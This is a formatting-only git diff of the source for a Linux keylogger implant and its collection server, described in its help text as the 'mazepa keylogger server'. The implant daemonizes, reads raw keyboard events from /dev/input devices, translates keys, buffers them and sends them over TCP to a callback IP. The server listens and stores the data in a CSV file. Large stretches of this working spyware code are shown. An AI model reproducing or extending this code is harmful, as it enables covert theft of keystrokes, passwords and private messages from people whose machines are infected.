diff --git a/implant/.clang-format b/implant/.clang-format
@@ -1,7 +1,5 @@
-BasedOnStyle: Mozilla
+BasedOnStyle: LLVM
AccessModifierOffset: '-4'
-AllowShortIfStatementsOnASingleLine: Never
-BreakBeforeBraces: Allman
ColumnLimit: '0'
FixNamespaceComments: 'false'
IndentCaseLabels: 'false'
diff --git a/implant/includes/implant.h b/implant/includes/implant.h
@@ -16,8 +16,7 @@
also holds its file descriptor
*/
typedef struct keyboard_s keyboard_t;
-struct keyboard_s
-{
+struct keyboard_s {
int fd;
ssize_t nb_chars;
@@ -28,9 +27,8 @@ struct keyboard_s
devices;
};
-typedef struct translated_key
-{
- char const* description;
+typedef struct translated_key {
+ char const *description;
char const representation;
} translated_key_t;
@@ -39,8 +37,7 @@ typedef struct translated_key
port & IP address, whether debug mode is enabled
or stuff like this
*/
-typedef struct implant_s
-{
+typedef struct implant_s {
/* remote connection settings */
unsigned short port;
@@ -61,9 +58,8 @@ typedef struct implant_s
#ifndef DEBUG_LOG
#define DEBUG_LOG(s, ...) \
- do \
- { \
- char data[256] = { 0 }; \
+ do { \
+ char data[256] = {0}; \
if (0 > snprintf(data, 255, s, ##__VA_ARGS__)) \
_exit(1); \
syslog(LOG_NOTICE, data); \
@@ -74,37 +70,29 @@ typedef struct implant_s
#define KEY_RELEASED 0
// net.c
-int
-init_remote_connection(implant_t*);
-int
-send_key_description(int, char[STRING_BUFFER_SIZE]);
+int init_remote_connection(implant_t *);
+int send_key_description(int, char[STRING_BUFFER_SIZE]);
// opt.c
-int
-parse_user_input(int, char**, implant_t*);
+int parse_user_input(int, char **, implant_t *);
// logger.c
-void
-keylog(implant_t*, int);
+void keylog(implant_t *, int);
// keyboard.c
-void
-fetch_available_keyboards(implant_t*);
+void fetch_available_keyboards(implant_t *);
// daemon.c
-void
-daemon_setup(void);
+void daemon_setup(void);
// utils.c
-int
-read_file(char const*, char**);
+int read_file(char const *, char **);
size_t
-get_array_size(uint8_t**);
-char*
-remove_repeating_whitespaces(char*);
-void
-free_tab(uint8_t**);
-char**
-tabgen(const char*, char);
+get_array_size(uint8_t **);
+char *
+remove_repeating_whitespaces(char *);
+void free_tab(uint8_t **);
+char **
+tabgen(const char *, char);
#endif /* IMPLANT_H */
diff --git a/implant/sources/daemon.c b/implant/sources/daemon.c
@@ -7,9 +7,7 @@
#include <unistd.h>
#include "implant.h"
-void
-daemon_setup(void)
-{
+void daemon_setup(void) {
pid_t pid;
@@ -39,8 +37,7 @@ daemon_setup(void)
umask(0);
chdir("/tmp");
- for (long x = sysconf(_SC_OPEN_MAX); x >= 0; x--)
- {
+ for (long x = sysconf(_SC_OPEN_MAX); x >= 0; x--) {
close((int)x);
}
diff --git a/implant/sources/keyboard.c b/implant/sources/keyboard.c
@@ -19,8 +19,7 @@
#include <unistd.h>
static int
-is_kbd(const struct dirent* f)
-{
+is_kbd(const struct dirent *f) {
size_t len = strlen(f->d_name);
if (len < 3)
@@ -30,9 +29,7 @@ is_kbd(const struct dirent* f)
f->d_name[len - 1] == 'd';
}
-void
-fetch_available_keyboards(implant_t* instance)
-{
+void fetch_available_keyboards(implant_t *instance) {
/*
input devices usually live in /dev/input/
@@ -45,12 +42,11 @@ fetch_available_keyboards(implant_t* instance)
as a NULL value
*/
- struct dirent** char_devices = NULL;
+ struct dirent **char_devices = NULL;
int possible_paths =
- scandir("/dev/input/by-path/", &char_devices, &is_kbd, &alphasort);
+ scandir("/dev/input/by-path/", &char_devices, &is_kbd, &alphasort);
- if (-1 == possible_paths || 0 > chdir("/dev/input/by-path/"))
- {
+ if (-1 == possible_paths || 0 > chdir("/dev/input/by-path/")) {
#ifdef DEBUG
DEBUG_LOG("could not find possible keyboard paths");
@@ -62,11 +58,9 @@ fetch_available_keyboards(implant_t* instance)
/* prepare TAILQ */
TAILQ_INIT(&instance->kbd);
- char rpath[2048] = { 0 };
- for (int ctr = -1; ++ctr < possible_paths;)
- {
- if (!realpath(char_devices[ctr]->d_name, rpath))
- {
+ char rpath[2048] = {0};
+ for (int ctr = -1; ++ctr < possible_paths;) {
+ if (!realpath(char_devices[ctr]->d_name, rpath)) {
#ifdef DEBUG
DEBUG_LOG("[!] Could not run realpath(%s): %s", char_devices[ctr]->d_name, strerror(errno));
@@ -75,9 +69,8 @@ fetch_available_keyboards(implant_t* instance)
continue;
}
- keyboard_t* kbd = malloc(sizeof(keyboard_t));
- if (!kbd)
- {
+ keyboard_t *kbd = malloc(sizeof(keyboard_t));
+ if (!kbd) {
#ifdef DEBUG
DEBUG_LOG("[!] allocate memory for keyboard_t");
@@ -87,8 +80,7 @@ fetch_available_keyboards(implant_t* instance)
}
kbd->fd = open(rpath, O_RDONLY | O_NOCTTY | O_NDELAY);
- if (kbd->fd < 0)
- {
+ if (kbd->fd < 0) {
#ifdef DEBUG
DEBUG_LOG("[!] Could not open %s: %s", rpath, strerror(errno));
diff --git a/implant/sources/logger.c b/implant/sources/logger.c
@@ -16,54 +16,49 @@
#include "implant.h"
static const translated_key_t KEYS[] = {
- { "space", ' ' },
- { "comma", ',' },
- { "period", '.' },
- { "slash", '/' },
- { "questionmark", '?' },
- { "semicolon", ';' },
- { "apostrophe", '\'' },
- { "bracketleft", '[' },
- { "bracketright", ']' },
- { "backslash", '\\' },
- { "pipe", '|' },
- { "Tab", '\t' },
- { "minus", '-' },
- { "plus", '+' },
- { "equal", '=' },
- { "dollar", '$' },
- { "percentage", '%' },
- { "star", '*' },
- { "parenthesisleft", '(' },
- { "parenthesisright", ')' },
- { "underscore", '_' },
- { "ampersand", '&' },
- { "pound", '#' },
- { "arobase", '@' },
- { "tild", '~' },
- { NULL, 0 },
+ {"space", ' '},
+ {"comma", ','},
+ {"period", '.'},
+ {"slash", '/'},
+ {"questionmark", '?'},
+ {"semicolon", ';'},
+ {"apostrophe", '\''},
+ {"bracketleft", '['},
+ {"bracketright", ']'},
+ {"backslash", '\\'},
+ {"pipe", '|'},
+ {"Tab", '\t'},
+ {"minus", '-'},
+ {"plus", '+'},
+ {"equal", '='},
+ {"dollar", '$'},
+ {"percentage", '%'},
+ {"star", '*'},
+ {"parenthesisleft", '('},
+ {"parenthesisright", ')'},
+ {"underscore", '_'},
+ {"ampersand", '&'},
+ {"pound", '#'},
+ {"arobase", '@'},
+ {"tild", '~'},
+ {NULL, 0},
};
static int
-get_highest_fd(implant_t* instance)
-{
+get_highest_fd(implant_t *instance) {
int highest_fd = -1;
- keyboard_t* it = NULL;
- TAILQ_FOREACH(it, &instance->kbd, devices)
- {
+ keyboard_t *it = NULL;
+ TAILQ_FOREACH(it, &instance->kbd, devices) {
highest_fd = (it->fd > highest_fd) ? it->fd : highest_fd;
}
return highest_fd;
}
-static char*
-check_translated_key(char* key_desc)
-{
- for (size_t ctr = 0; KEYS[ctr].description != NULL; ctr++)
- {
- if (!strcmp(KEYS[ctr].description, key_desc))
- {
+static char *
+check_translated_key(char *key_desc) {
+ for (size_t ctr = 0; KEYS[ctr].description != NULL; ctr++) {
+ if (!strcmp(KEYS[ctr].description, key_desc)) {
memset(key_desc, 0, STRING_BUFFER_SIZE);
key_desc[0] = KEYS[ctr].representation;
@@ -75,9 +70,8 @@ check_translated_key(char* key_desc)
}
static int
-log_keyboard(int fd, struct xkb_state* state, char** key_desc_ptr)
-{
- struct input_event evt = { 0 };
+log_keyboard(int fd, struct xkb_state *state, char **key_desc_ptr) {
+ struct input_event evt = {0};
static bool shift_pressed = false;
/*
@@ -93,8 +87,7 @@ log_keyboard(int fd, struct xkb_state* state, char** key_desc_ptr)
DEBUG_LOG("[!] read %ld bytes", bytes_read);
#endif
- if (bytes_read != sizeof(evt))
- {
+ if (bytes_read != sizeof(evt)) {
#ifdef DEBUG
DEBUG_LOG("[!] read() error: %s", strerror(errno));
@@ -105,20 +98,16 @@ log_keyboard(int fd, struct xkb_state* state, char** key_desc_ptr)
/* checking is we are in MAJ key. TODO: check if CAPS_LOCK is enabled or not.
*/
- if (evt.type == EV_KEY && evt.value == KEY_RELEASED)
- {
- if (evt.code == KEY_LEFTSHIFT || evt.code == KEY_RIGHTSHIFT)
- {
+ if (evt.type == EV_KEY && evt.value == KEY_RELEASED) {
+ if (evt.code == KEY_LEFTSHIFT || evt.code == KEY_RIGHTSHIFT) {
shift_pressed = false;
return SUCCESSFUL;
}
}
- if (evt.type == EV_KEY && evt.value == KEY_PRESSED)
- {
+ if (evt.type == EV_KEY && evt.value == KEY_PRESSED) {
- if (evt.code == KEY_LEFTSHIFT || evt.code == KEY_RIGHTSHIFT)
- {
+ if (evt.code == KEY_LEFTSHIFT || evt.code == KEY_RIGHTSHIFT) {
shift_pressed = true;
return SUCCESSFUL;
}
@@ -149,17 +138,14 @@ log_keyboard(int fd, struct xkb_state* state, char** key_desc_ptr)
/*
main loop to listen for keys and stuff
*/
-void
-keylog(implant_t* instance, int sockfd)
-{
+void keylog(implant_t *instance, int sockfd) {
/* first set up select etc */
int highest_fd = get_highest_fd(instance);
fd_set rd, err;
int status = 0;
- if (highest_fd < 0)
- {
+ if (highest_fd < 0) {
#ifdef DEBUG
DEBUG_LOG("[!] no keyboard found. exiting");
@@ -175,13 +161,12 @@ keylog(implant_t* instance, int sockfd)
the correct language & manages special characters, shift, etc.
*/
- struct xkb_context* context = NULL;
- struct xkb_keymap* keymap = NULL;
- struct xkb_state* state = NULL;
+ struct xkb_context *context = NULL;
+ struct xkb_keymap *keymap = NULL;
+ struct xkb_state *state = NULL;
context = xkb_context_new(0);
- if (!context)
- {
+ if (!context) {
#ifdef DEBUG
DEBUG_LOG("[!] error with xkb_context_new(): %s", strerror(errno));
@@ -191,8 +176,7 @@ keylog(implant_t* instance, int sockfd)
}
keymap = xkb_keymap_new_from_names(context, NULL, 0);
- if (!keymap)
- {
+ if (!keymap) {
#ifdef DEBUG
DEBUG_LOG("[!] error with xkb_keymap_new_from_names(): %s",
@@ -203,8 +187,7 @@ keylog(implant_t* instance, int sockfd)
}
state = xkb_state_new(keymap);
- if (!state)
- {
+ if (!state) {
#ifdef DEBUG
DEBUG_LOG("[!] error with xkb_state_new(): %s", strerror(errno));
@@ -213,20 +196,18 @@ keylog(implant_t* instance, int sockfd)
goto LOG_FUNCTION_CLEANUP;
}
- char* key_desc = malloc(sizeof(char) * (STRING_BUFFER_SIZE + 1));
+ char *key_desc = malloc(sizeof(char) * (STRING_BUFFER_SIZE + 1));
if (!key_desc)
goto LOG_FUNCTION_CLEANUP;
memset(key_desc, 0, STRING_BUFFER_SIZE);
/* run the damn loop */
- while (0x520)
- {
+ while (0x520) {
/* setup FD-sets */
- keyboard_t* it = NULL;
- TAILQ_FOREACH(it, &instance->kbd, devices)
- {
+ keyboard_t *it = NULL;
+ TAILQ_FOREACH(it, &instance->kbd, devices) {
FD_SET(it->fd, &rd);
FD_SET(it->fd, &err);
}
@@ -245,14 +226,13 @@ keylog(implant_t* instance, int sockfd)
events
*/
#ifdef DEBUG
- struct timeval timeout = { 0, 1 };
+ struct timeval timeout = {0, 1};
status = select(highest_fd + 1, &rd, NULL, &err, &timeout);
#else
status = select(highest_fd + 1, &rd, NULL, &err, NULL);
#endif
- if (status < 0)
- {
+ if (status < 0) {
#ifdef DEBUG
DEBUG_LOG("[!] select error: %s", strerror(errno));
@@ -263,10 +243,8 @@ keylog(implant_t* instance, int sockfd)
/* check file descriptors (first for error, then for new input) */
it = NULL;
- TAILQ_FOREACH(it, &instance->kbd, devices)
- {
- if (FD_ISSET(it->fd, &err))
- {
+ TAILQ_FOREACH(it, &instance->kbd, devices) {
+ if (FD_ISSET(it->fd, &err)) {
#ifdef DEBUG
DEBUG_LOG("[!] Error on file descriptor %d", it->fd);
@@ -279,7 +257,7 @@ keylog(implant_t* instance, int sockfd)
close(it->fd);
/* making sure we dont have a memory leak here */
- void* tmp_ptr = &instance->kbd;
+ void *tmp_ptr = &instance->kbd;
TAILQ_REMOVE(&instance->kbd, it, devices);
free(tmp_ptr);
@@ -287,8 +265,7 @@ keylog(implant_t* instance, int sockfd)
}
/* checking for new input here */
- if (FD_ISSET(it->fd, &rd))
- {
+ if (FD_ISSET(it->fd, &rd)) {
memset(key_desc, 0, STRING_BUFFER_SIZE);
@@ -296,13 +273,11 @@ keylog(implant_t* instance, int sockfd)
should we really kill the run here or can we recover this ?
i need to run some tests before making a decision.
*/
- if (ERROR == log_keyboard(it->fd, state, &key_desc))
- {
+ if (ERROR == log_keyboard(it->fd, state, &key_desc)) {
goto LOG_FUNCTION_CLEANUP;
}
- if (ERROR == send_key_description(sockfd, key_desc))
- {
+ if (ERROR == send_key_description(sockfd, key_desc)) {
goto LOG_FUNCTION_CLEANUP;
}
}
@@ -312,11 +287,9 @@ keylog(implant_t* instance, int sockfd)
LOG_FUNCTION_CLEANUP:
/* closing file descriptors if instance still exists */
- if (instance != NULL)
- {
- keyboard_t* it = NULL;
- TAILQ_FOREACH(it, &instance->kbd, devices)
- {
+ if (instance != NULL) {
+ keyboard_t *it = NULL;
+ TAILQ_FOREACH(it, &instance->kbd, devices) {
close(it->fd);
}
}
diff --git a/implant/sources/main.c b/implant/sources/main.c
@@ -3,9 +3,7 @@
#include <unistd.h>
#include "implant.h"
-int
-main(int ac, char** av, char** envp)
-{
+int main(int ac, char **av, char **envp) {
/*
TODO:
@@ -17,7 +15,7 @@ main(int ac, char** av, char** envp)
*/
implant_t instance = {
- .ip = { 0 }, .port = 80, /* ip can be a domain name */
+ .ip = {0}, .port = 80, /* ip can be a domain name */
};
if (ERROR == parse_user_input(ac, av, &instance))
diff --git a/implant/sources/net.c b/implant/sources/net.c
@@ -15,9 +15,7 @@
#include "implant.h"
-int
-send_key_description(int sockfd, char* key_desc)
-{
+int send_key_description(int sockfd, char *key_desc) {
/*
creates a standalone buffer of at least 10 * STRING_BUFFER_SIZE,
@@ -31,10 +29,10 @@ send_key_description(int sockfd, char* key_desc)
/* i dont want to wait that long when testing lol */
const size_t max_nb_chars = STRING_BUFFER_SIZE;
- static char tmp_buffer[STRING_BUFFER_SIZE] = { 0 };
+ static char tmp_buffer[STRING_BUFFER_SIZE] = {0};
#else
const size_t max_nb_chars = STRING_BUFFER_SIZE * 10;
- static char tmp_buffer[STRING_BUFFER_SIZE * 10] = { 0 };
+ static char tmp_buffer[STRING_BUFFER_SIZE * 10] = {0};
#endif
static size_t nb_chars_in_buffer = 0;
@@ -42,8 +40,7 @@ send_key_description(int sockfd, char* key_desc)
/* since DEBUG has timeout for keyboard read, we can get empty keys sometimes
*/
size_t length_keydesc = strlen(key_desc);
- if (length_keydesc == 0)
- {
+ if (length_keydesc == 0) {
return SUCCESSFUL;
}
@@ -53,10 +50,8 @@ send_key_description(int sockfd, char* key_desc)
DEBUG_LOG("new key: %s", key_desc);
#endif
- if (max_nb_chars < (nb_chars_in_buffer + length_keydesc))
- {
- if (-1 == send(sockfd, tmp_buffer, nb_chars_in_buffer, 0))
- {
+ if (max_nb_chars < (nb_chars_in_buffer + length_keydesc)) {
+ if (-1 == send(sockfd, tmp_buffer, nb_chars_in_buffer, 0)) {
#ifdef DEBUG
DEBUG_LOG("send: %s", strerror(errno));
@@ -67,20 +62,16 @@ send_key_description(int sockfd, char* key_desc)
memset(tmp_buffer, 0, nb_chars_in_buffer);
nb_chars_in_buffer = 0;
- if (NULL == strncpy(tmp_buffer, key_desc, max_nb_chars))
- {
+ if (NULL == strncpy(tmp_buffer, key_desc, max_nb_chars)) {
#ifdef DEBUG
DEBUG_LOG("strncpy send_key_description: %s", strerror(errno));
#endif
return ERROR;
}
- }
- else
- {
+ } else {
if (NULL ==
- strncat(tmp_buffer, key_desc, max_nb_chars - nb_chars_in_buffer))
- {
+ strncat(tmp_buffer, key_desc, max_nb_chars - nb_chars_in_buffer)) {
#ifdef DEBUG
DEBUG_LOG("strncat send_key_description: %s", strerror(errno));
#endif
@@ -92,9 +83,7 @@ send_key_description(int sockfd, char* key_desc)
return SUCCESSFUL;
}
-int
-init_remote_connection(implant_t* instance)
-{
+int init_remote_connection(implant_t *instance) {
#ifdef DEBUG
DEBUG_LOG("Initiating remote connection with (%s:%d)", instance->ip, instance->port);
@@ -109,8 +98,7 @@ init_remote_connection(implant_t* instance)
*/
int sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
- if (sockfd < 0)
- {
+ if (sockfd < 0) {
#ifdef DEBUG
perror("socket");
@@ -122,16 +110,15 @@ init_remote_connection(implant_t* instance)
/* items required to bind socket to remote address */
int is_enabled = 1;
- struct sockaddr_in addr = { .sin_family = AF_INET,
- .sin_port = htons(instance->port),
- .sin_addr.s_addr = inet_addr(instance->ip) };
+ struct sockaddr_in addr = {.sin_family = AF_INET,
+ .sin_port = htons(instance->port),
+ .sin_addr.s_addr = inet_addr(instance->ip)};
/* setting socket options to make connection more convenient */
if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, /* allowing to reuse ADDR or PORT
(useful for testing) */
&is_enabled,
- sizeof(int)) < 0)
- {
+ sizeof(int)) < 0) {
#ifdef DEBUG
DEBUG_LOG("setsockopt send_key_description: %s", strerror(errno));
@@ -141,8 +128,7 @@ init_remote_connection(implant_t* instance)
return -1;
}
- if (connect(sockfd, (struct sockaddr*)&addr, sizeof(addr)) < 0)
- {
+ if (connect(sockfd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
#ifdef DEBUG
DEBUG_LOG("connect: %s", strerror(errno));
diff --git a/implant/sources/opt.c b/implant/sources/opt.c
@@ -11,8 +11,7 @@
#include "implant.h"
static void
-help_mode(char const* binary_path)
-{
+help_mode(char const *binary_path) {
#ifdef DEBUG
printf("%s USAGE:\n\t-i\tCallback IP Address\n\t-p\tCallback "
"Port\n\t-n\tDisable network connection (for debug)\n",
@@ -22,22 +21,18 @@ help_mode(char const* binary_path)
#endif
}
-int
-parse_user_input(int ac, char** av, implant_t* settings)
-{
+int parse_user_input(int ac, char **av, implant_t *settings) {
int c = 0;
#ifdef DEBUG
- char const* options = "i:p:hn";
+ char const *options = "i:p:hn";
#else
- char const* options = "i:p:h";
+ char const *options = "i:p:h";
#endif
- do
- {
+ do {
c = getopt(ac, av, options);
- switch (c)
- {
+ switch (c) {
#ifdef DEBUG
case 'n':
@@ -45,7 +40,7 @@ parse_user_input(int ac, char** av, implant_t* settings)
break;
#endif
case 'i':
- strncpy((char*)&settings->ip, optarg, 255);
+ strncpy((char *)&settings->ip, optarg, 255);
break;
case 'p':
diff --git a/implant/sources/utils.c b/implant/sources/utils.c
@@ -17,13 +17,10 @@
#include <sys/types.h>
#include <unistd.h>
-int
-read_file(char const* path, char** buffer)
-{
+int read_file(char const *path, char **buffer) {
int fd = open(path, O_RDONLY);
- if (0 > fd)
- {
+ if (0 > fd) {
#ifdef DEBUG
DEBUG_LOG("Could not open %s: %s", path, strerror(errno));
#endif
@@ -32,8 +29,7 @@ read_file(char const* path, char** buffer)
/* could use fseek but stat is posix so let's use that */
struct stat st;
- if (0 > fstat(fd, &st))
- {
+ if (0 > fstat(fd, &st)) {
#ifdef DEBUG
DEBUG_LOG("Could not call fstat on %s: %s", path, strerror(errno));
#endif
@@ -43,8 +39,7 @@ read_file(char const* path, char** buffer)
unsigned long filesize = (unsigned long)st.st_size;
*buffer = malloc(sizeof(char) * (filesize + 1));
- if (!buffer || !(*buffer))
- {
+ if (!buffer || !(*buffer)) {
#ifdef DEBUG
DEBUG_LOG("Could not allocate memory for %s: %s", path, strerror(errno));
#endif
@@ -52,8 +47,7 @@ read_file(char const* path, char** buffer)
}
ssize_t bytes = read(fd, *buffer, filesize);
- if (bytes != st.st_size)
- {
+ if (bytes != st.st_size) {
#ifdef DEBUG
DEBUG_LOG("[!] Should have read %ld bytes but read %ld (filepath: %s)",
st.st_size,
@@ -61,8 +55,7 @@ read_file(char const* path, char** buffer)
path);
#endif
- if (bytes < 0)
- {
+ if (bytes < 0) {
#ifdef DEBUG
DEBUG_LOG("read: %s", strerror(errno));
#endif
@@ -76,8 +69,7 @@ read_file(char const* path, char** buffer)
}
static size_t
-get_nb_cols(const char* str, int n, char separator)
-{
+get_nb_cols(const char *str, int n, char separator) {
size_t i = (size_t)n;
size_t res = 0;
@@ -89,8 +81,7 @@ get_nb_cols(const char* str, int n, char separator)
}
static size_t
-get_nb_rows(const char* str, char separator)
-{
+get_nb_rows(const char *str, char separator) {
int i;
size_t res = 0;
@@ -104,27 +95,24 @@ get_nb_rows(const char* str, char separator)
return (res + 1);
}
-char**
-tabgen(const char* str, char separator)
-{
+char **
+tabgen(const char *str, char separator) {
size_t i = 0;
size_t malloc_size = 0;
size_t index_str = 0;
- char** res = NULL;
+ char **res = NULL;
if (str == NULL || *str == 0)
return NULL;
- res = malloc(sizeof(char*) * (get_nb_rows(str, separator) + 1));
- for (; i < get_nb_rows(str, separator); i++)
- {
+ res = malloc(sizeof(char *) * (get_nb_rows(str, separator) + 1));
+ for (; i < get_nb_rows(str, separator); i++) {
malloc_size = get_nb_cols(&str[index_str], 0, separator);
res[i] = malloc(sizeof(char) * (malloc_size + 4));
- if (!res[i])
- {
+ if (!res[i]) {
res[i] = NULL;
- free_tab((uint8_t**)res);
+ free_tab((uint8_t **)res);
return NULL;
}
@@ -138,17 +126,14 @@ tabgen(const char* str, char separator)
return (res);
}
-void
-free_tab(uint8_t** tab)
-{
+void free_tab(uint8_t **tab) {
for (size_t ctr = 0; tab[ctr] != NULL; ctr++)
free(tab[ctr]);
free(tab);
}
-char*
-remove_repeating_whitespaces(char* s)
-{
+char *
+remove_repeating_whitespaces(char *s) {
size_t i = 0;
size_t x = 0;
@@ -164,8 +149,7 @@ remove_repeating_whitespaces(char* s)
}
size_t
-get_array_size(uint8_t** array)
-{
+get_array_size(uint8_t **array) {
size_t ctr = 0;
if (!array)
diff --git a/server/.clang-format b/server/.clang-format
@@ -1,7 +1,5 @@
-BasedOnStyle: Mozilla
+BasedOnStyle: LLVM
AccessModifierOffset: '-4'
-AllowShortIfStatementsOnASingleLine: Never
-BreakBeforeBraces: Allman
ColumnLimit: '0'
FixNamespaceComments: 'false'
IndentCaseLabels: 'false'
diff --git a/server/includes/server.h b/server/includes/server.h
@@ -11,9 +11,8 @@
#ifndef DEBUG_LOG
#define DEBUG_LOG(s, ...) \
- do \
- { \
- char data[256] = { 0 }; \
+ do { \
+ char data[256] = {0}; \
if (0 > snprintf(data, 255, s, ##__VA_ARGS__)) \
_exit(1); \
syslog(LOG_NOTICE, data); \
@@ -31,9 +30,8 @@
#define MAX_NB_CLIENT 128
/* meant for key translations from xkbcommon and the event we receive. :^) */
-typedef struct translated_key
-{
- char const* description;
+typedef struct translated_key {
+ char const *description;
char const representation;
} translated_key_t;
@@ -42,8 +40,7 @@ typedef struct translated_key
all the information it has passed along to our server.
*/
typedef struct client_state client_t;
-struct client_state
-{
+struct client_state {
int sockfd;
char current_buffer[STRING_BUFFER_SIZE];
@@ -61,15 +58,13 @@ struct client_state
};
/* main server object */
-typedef struct server_state
-{
+typedef struct server_state {
/* current clients */
TAILQ_HEAD(listhead, client_state)
clients;
- struct user_options
- {
+ struct user_options {
char const db_filepath[STRING_BUFFER_SIZE]; // .csv filepath
unsigned short listen_port;
@@ -91,23 +86,17 @@ typedef struct server_state
#define KEY_RELEASED 0
// net.c
-int
-init_remote_connection(server_t* instance);
+int init_remote_connection(server_t *instance);
// lexxer.c
-int
-parse_cli_arguments(server_t* instance, int ac, char** av, char** envp);
+int parse_cli_arguments(server_t *instance, int ac, char **av, char **envp);
// csv.c
-int
-init_csv_dbfd(char const* filepath);
+int init_csv_dbfd(char const *filepath);
// loop.c
-void
-loop(server_t* instance);
-int
-should_gracefully_exit(int code);
-int
-get_fd_size(void);
+void loop(server_t *instance);
+int should_gracefully_exit(int code);
+int get_fd_size(void);
#endif /* SERVER_H */
diff --git a/server/sources/csv.c b/server/sources/csv.c
@@ -14,9 +14,7 @@ underneath
#include <unistd.h>
#include "server.h"
-int
-init_csv_dbfd(char const* filepath)
-{
+int init_csv_dbfd(char const *filepath) {
if (!filepath || (!(*filepath)))
return -1;
@@ -25,8 +23,7 @@ init_csv_dbfd(char const* filepath)
int access_status = access(filepath, R_OK | W_OK);
/* file probably does not exist, let's create a file and return fd */
- if (access_status == -1)
- {
+ if (access_status == -1) {
int fd = open(filepath, O_CREAT | O_RDWR);
#ifdef DEBUG
DEBUG_LOG("[+] created dbfd: %d\n", fd);
@@ -35,8 +32,7 @@ init_csv_dbfd(char const* filepath)
}
/* all good, lets just open & return */
- if (access_status == 0)
- {
+ if (access_status == 0) {
int fd = open(filepath, O_RDWR);
#ifdef DEBUG
DEBUG_LOG("[+] opened existing dbfd: %d\n", fd);
diff --git a/server/sources/lexxer.c b/server/sources/lexxer.c
@@ -8,14 +8,13 @@
#include "server.h"
const static struct option cli_options[] = {
- { "help", no_argument, 0, 'h' },
- { "listen-port", required_argument, 0, 'p' },
- { "db-path", required_argument, 0, 'd' },
+ {"help", no_argument, 0, 'h'},
+ {"listen-port", required_argument, 0, 'p'},
+ {"db-path", required_argument, 0, 'd'},
};
static void
-get_help(const char* bin_name)
-{
+get_help(const char *bin_name) {
printf("%s: mazepa keylogger server\n\n", bin_name);
printf("USAGE:\n");
printf("\t--listen-port [-p]: specifies server listening port\n");
@@ -25,20 +24,16 @@ get_help(const char* bin_name)
printf("\n\nwritten with <3 by djnn -- https://djnn.sh\n");
}
-int
-parse_cli_arguments(server_t* instance, int ac, char** av, __attribute__((unused)) char** envp)
-{
+int parse_cli_arguments(server_t *instance, int ac, char **av, __attribute__((unused)) char **envp) {
int c = 0;
int opt_idx = 0;
- char const* short_options = "d:p:h";
+ char const *short_options = "d:p:h";
while ((c = getopt_long(ac, av, short_options, cli_options, &opt_idx)) !=
- -1)
- {
+ -1) {
- switch (c)
- {
+ switch (c) {
case 'h':
get_help(av[0]);
_exit(0);
@@ -53,8 +48,8 @@ parse_cli_arguments(server_t* instance, int ac, char** av, __attribute__((unused
case 'p':
- bzero((void*)instance->options.db_filepath, STRING_BUFFER_SIZE);
- memcpy((void*)instance->options.db_filepath, optarg, strnlen(optarg, STRING_BUFFER_SIZE));
+ bzero((void *)instance->options.db_filepath, STRING_BUFFER_SIZE);
+ memcpy((void *)instance->options.db_filepath, optarg, strnlen(optarg, STRING_BUFFER_SIZE));
#ifdef DEBUG
DEBUG_LOG("setting .db filepath to: %s", instance->options.db_filepath);
#endif
diff --git a/server/sources/loop.c b/server/sources/loop.c
@@ -22,19 +22,15 @@
- store it by bulk updates
-> if anything fucks up at any point just trigger cleanup routine
*/
-void
-loop(server_t* instance)
-{
+void loop(server_t *instance) {
- while (should_gracefully_exit(0))
- {
+ while (should_gracefully_exit(0)) {
int fdsize = get_fd_size();
if (fdsize == -1)
break;
int sstat = select(fdsize, NULL, NULL, NULL, NULL);
- if (sstat == -1)
- {
+ if (sstat == -1) {
#ifdef DEBUG
DEBUG_LOG("select: %s", strerror(errno));
#endif
@@ -43,13 +39,10 @@ loop(server_t* instance)
}
}
-int
-should_gracefully_exit(int code)
-{
+int should_gracefully_exit(int code) {
static int should_exit = 0;
- if (code != 0 || should_exit)
- {
+ if (code != 0 || should_exit) {
#ifdef DEBUG
DEBUG_LOG("[+] caught code: %d\n", code)
#endif
@@ -59,22 +52,18 @@ should_gracefully_exit(int code)
}
static void
-sig_handler(int code)
-{
+sig_handler(int code) {
if (code == SIGINT)
should_gracefully_exit(code);
}
-int
-get_fd_size(void)
-{
+int get_fd_size(void) {
const char fdsize[] = "FDSize:";
- char buf[4096] = { 0 };
+ char buf[4096] = {0};
int statfd = open("/proc/self/status", O_RDONLY);
- if (statfd < 0)
- {
+ if (statfd < 0) {
#ifdef DEBUG
DEBUG_LOG("open statfd: %s", strerror(errno));
#endif
@@ -83,8 +72,7 @@ get_fd_size(void)
}
const ssize_t num_read = read(statfd, buf, sizeof(buf) - 1);
- if (num_read <= 0)
- {
+ if (num_read <= 0) {
#ifdef DEBUG
DEBUG_LOG("read statfd: %s", strerror(errno));
#endif
@@ -94,12 +82,11 @@ get_fd_size(void)
buf[num_read] = '\0';
- const char* fdsize_ptr = strstr(buf, fdsize_ptr);
+ const char *fdsize_ptr = strstr(buf, fdsize_ptr);
if (!fdsize_ptr)
return 256;
- for (const char* char_ptr = fdsize_ptr + sizeof(fdsize) - 1; char_ptr <= buf + num_read; ++char_ptr)
- {
+ for (const char *char_ptr = fdsize_ptr + sizeof(fdsize) - 1; char_ptr <= buf + num_read; ++char_ptr) {
if (isspace(*char_ptr))
continue;
else if (*char_ptr == 0)
diff --git a/server/sources/main.c b/server/sources/main.c
@@ -2,14 +2,11 @@
#include <unistd.h>
#include "server.h"
-int
-main(int ac, char** av, char** envp)
-{
+int main(int ac, char **av, char **envp) {
- server_t srv = { 0 };
+ server_t srv = {0};
- if (!parse_cli_arguments(&srv, ac, av, envp))
- {
+ if (!parse_cli_arguments(&srv, ac, av, envp)) {
#ifdef DEBUG
DEBUG_LOG("[%s]: invalid arguments. exiting on startup.", av[0]);
#endif
@@ -21,5 +18,5 @@ main(int ac, char** av, char** envp)
DEBUG_LOG("[+] socket initiated....preparing DB connection");
#endif
- srv.dbfd = init_csv_dbfd((char const*)srv.options.db_filepath);
+ srv.dbfd = init_csv_dbfd((char const *)srv.options.db_filepath);
}
diff --git a/server/sources/net.c b/server/sources/net.c
@@ -10,9 +10,7 @@
#include "server.h"
-int
-init_remote_connection(server_t* instance)
-{
+int init_remote_connection(server_t *instance) {
#ifdef DEBUG
DEBUG_LOG("Initiating remote connection with (localhost:%d)",
@@ -28,8 +26,7 @@ init_remote_connection(server_t* instance)
*/
int sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
- if (sockfd < 0)
- {
+ if (sockfd < 0) {
#ifdef DEBUG
